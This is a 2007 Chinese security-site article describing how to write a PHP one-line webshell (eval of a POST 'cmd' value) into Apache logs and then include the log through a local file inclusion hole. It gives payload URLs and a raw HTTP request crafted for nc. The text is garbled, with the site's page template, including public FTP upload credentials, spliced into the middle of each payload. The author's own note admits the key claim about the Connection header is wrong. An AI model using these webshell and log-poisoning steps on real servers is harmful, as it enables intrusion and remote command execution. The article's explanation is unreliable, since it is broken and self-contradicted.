安全中国首页 > 文章中心 > 其他漏洞研究
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

邪恶的空格-PHP本地文件包含漏洞的新突破口!

更新时间:2007-7-12 1:10:58
责任编辑:阿loosen
热 点:
PS:文章说的出错鸟,事后剑心提醒我才发现,有忽悠人的嫌疑,Connection HTTP标头和能不能写入空格无关!!

记得Zizzy写过一篇《关于php包含Apache日志的随想》,这是一个很好的思路,我们可以随意构造

http://www.exp.com/index<?/**/eval( 邪恶的空格-PHP本地文件包含漏洞的新突破口!_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 其他漏洞研究
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

邪恶的空格-PHP本地文件包含漏洞的新突破口!

更新时间:2007-7-12 1:10:58
责任编辑:阿loosen
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST[cmd]);/**/?>.php

这样的GET请求,将一句话木马写入web日志,然后利用文件包含漏洞包含日志得到WEBSHELL,如milw0rm上的这个EXP:

http://www.milw0rm.com/exploits/4029

不过很遗憾,这类情况只能在short_open_tag=on的情况下才能有效,当short_open_tag=off时,PHP将不支持<?/**/eval( 邪恶的空格-PHP本地文件包含漏洞的新突破口!_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 其他漏洞研究
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

邪恶的空格-PHP本地文件包含漏洞的新突破口!

更新时间:2007-7-12 1:10:58
责任编辑:阿loosen
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST[cmd]);/**/?>这样的短语句.

所以我们只能使用<?php eval( 邪恶的空格-PHP本地文件包含漏洞的新突破口!_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 其他漏洞研究
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

邪恶的空格-PHP本地文件包含漏洞的新突破口!

更新时间:2007-7-12 1:10:58
责任编辑:阿loosen
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST[cmd]);?>这样标准语法的一句话木马,但是问题来鸟,语句中有一个空格,类似

http://www.exp.com/index<?php eval( 邪恶的空格-PHP本地文件包含漏洞的新突破口!_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 其他漏洞研究
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

邪恶的空格-PHP本地文件包含漏洞的新突破口!

更新时间:2007-7-12 1:10:58
责任编辑:阿loosen
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST[cmd]);?>.php

这样的提交,WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval( 邪恶的空格-PHP本地文件包含漏洞的新突破口!_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 其他漏洞研究
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

邪恶的空格-PHP本地文件包含漏洞的新突破口!

更新时间:2007-7-12 1:10:58
责任编辑:阿loosen
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

哈,上面说的牛牛可以略过,下面开始切入正题,我们知道一般情况下,一旦Web服务器向浏览器发送了请求数据,肯定会返回响应,这里我发现了WEB服务器一个奇怪的特性,就是如果没有返回响应而WEB服务器又接受了请求,那么请求的内容将原封不动的写入WEB日志,不会进行HTTP编码.

这样我们想个办法一直与WEB服务器保持TCP连接,不让WEB服务器处理响应返回,然后再由客户端的我们中断这次TCP连接,说得这么复杂其实很容易实现.只要在HTTP请求的数据包中去掉Connection HTTP标头值。

利用NC伪造没有Connection HTTP标头的请求包:

GET /index< >.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 192.168.3.44

你会发现WEB服务器一直不会返回响应,直到我们客户端断开这次连接,这个邪恶的空格便写入了WEB日志!

 
相关文章
一日一文章
 
一日一软件
一日一动画